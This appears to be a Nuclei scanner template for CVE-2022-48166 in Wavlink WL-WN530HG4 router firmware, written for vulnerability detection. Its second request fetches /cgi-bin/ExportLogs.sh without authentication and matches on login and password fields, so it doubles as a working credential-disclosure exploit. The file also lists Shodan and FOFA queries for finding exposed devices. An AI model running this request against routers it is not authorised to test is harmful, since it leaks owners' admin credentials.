id: CVE-2022-48166

info:
  name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials.
  remediation: |
    Apply the latest firmware updates from Wavlink or implement network segmentation to restrict access to the device administration interface.
  impact: |
    Successful exploitation could lead to sensitive information disclosure.
  reference:
    - https://docs.google.com/document/d/1zvbuu3Hkk3CAkojAivlUESvtHblHJNLJdpGOoNtk-Vo/edit?usp=sharing
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK%20WN530HG4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48166
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48166
    epss-score: 0.66233
    epss-percentile: 0.98543
    cpe: cpe:2.3:o:wavlink:wl-wn530hg4_firmware:m30hg4.v5030.201217:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: wavlink
    product: wn530hg4_firmware
    shodan-query: html:"WN530HG4"
    fofa-query: body="WN530HG4"
  tags: cve,cve2022,wavlink,exposure,wn530hg4,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "WN530HG4")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Login=", "Password=", "WiFi_", "WAVLINK")'
          - 'contains_all(header, "application/octet-stream", "filename=\"")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022003d955f187b47d1b6b248cae1608c3c06c9e09027d924dfe559abad2a5aa3c2a022100f201ecca5c239800d064925f7f07320d6e4d3c8869245fddb124fde74c6c3731:922c64590222798bb761d5b6d8e72950